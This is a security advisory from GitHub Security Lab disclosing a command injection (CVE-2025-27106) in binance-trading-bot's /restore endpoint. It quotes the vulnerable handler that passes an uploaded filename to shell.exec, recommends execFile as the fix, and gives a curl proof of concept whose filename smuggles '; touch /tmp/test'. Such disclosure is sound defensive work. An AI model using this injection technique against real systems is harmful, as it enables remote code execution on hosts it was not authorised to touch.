Coordinated Disclosure Timeline
- 2025-02-14: Report submitted via PVR.
- 2025-02-21: PR committed to fix issue.
- 2025-02-21: CVE assigned.
Summary
Authenticated users of binance-trading-bot can achieve Remote Code Execution on the host system due to a command injection vulnerability in the /restore
endpoint.
Project
binance-trading-bot
Tested Version
dd8e1a91b872a48aec47bbe1280c1c6ea96784d9
Details
Command injection in /restore
endpoint (GHSL-2025-023
)
binance-trading-bot is vulnerable to command injection via the /restore
endpoint. The name of the uploaded file is passed to shell.exec without sanitization other than path normalization, resulting in Remote Code Execution. This may allow any authorized user to execute code in the context of the host machine.
app.route('/restore').post(async (req, res) => {
if (config.get('demoMode')) {
return res.send({
success: false,
status: 403,
message: 'You cannot restore database in the demo mode.',
data: {}
});
}
const authToken = req.header('X-AUTH-TOKEN');
// Verify authentication
const isAuthenticated = await verifyAuthenticated(logger, authToken);
if (isAuthenticated === false) {
logger.info('Not authenticated');
return res.send({
success: false,
status: 403,
message: 'Please authenticate first.',
data: {}
});
}
const { archive } = req.files;
const filepath = `/tmp/${archive.name}`;
archive.mv(filepath);
const result = await new Promise(resolve => {
shell.exec(
`${process.cwd()}/scripts/restore.sh ${config.get(
'mongo.host'
)} ${config.get('mongo.port')} ${filepath}`,
(code, stdout, stderr) => {
resolve({ code, stdout, stderr });
}
);
});
Impact
This issue may lead to Remote Code Execution
.
Remediation
Use execFile
instead of exec
to ensure that the arguments are treated as simple strings, not shell commands.
CWEs
- CWE-078
Resources
Send a POST request containing an archive file with a valid auth token to the /restore
endpoint. Change the filename to your command payload, such as ; touch /tmp/test
. The command will be executed in the context of the application’s user privileges.
curl --path-as-is -i -s -k -X $'POST' \
-H $'Host: localhost:8080' -H $'Content-Length: 220' -H $'X-AUTH-TOKEN: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkQXQiOiIyMDI1LTAxLTE1VDIwOjUwOjMwLjA5OFoiLCJpYXQiOjE3MzY5NzQyMzAsImV4cCI6MTczNjk4MTQzMH0.IL9B90n1em_pKxM9hKlMSH_KXMvzUJirpa5bKwBv3FA' -H $'sec-ch-ua-platform: \"macOS\"' -H $'Accept-Language: en-US,en;q=0.9' -H $'sec-ch-ua: \"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"' -H $'sec-ch-ua-mobile: ?0' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36' -H $'Accept: application/json, text/plain, */*' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary35bz4v7kvAoHTXky' -H $'Origin: http://localhost:8080' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Dest: empty' -H $'Referer: http://localhost:8080/' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \
-b $'_ga=GA1.1.3983687.1724225956; _ga_R1FN4KJKJH=GS1.1.1724353690.2.0.1724353690.0.0.0; GMT_OFFSET=-480; csrftoken=yX4phd2hpd3mhEkXH6GaHFDRwDBsntGDBvkVb1aN166C2A8f69POFPLrrKJ7My0G' \
--data-binary $'------WebKitFormBoundary35bz4v7kvAoHTXky\x0d\x0aContent-Disposition: form-data; name=\"archive\"; filename=\"; touch /tmp/test"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundary35bz4v7kvAoHTXky--\x0d\x0a' \
$'http://localhost:8080/restore/'
CVE
- CVE-2025-27106
Credit
This issue was discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2025-023
in any communication regarding this issue.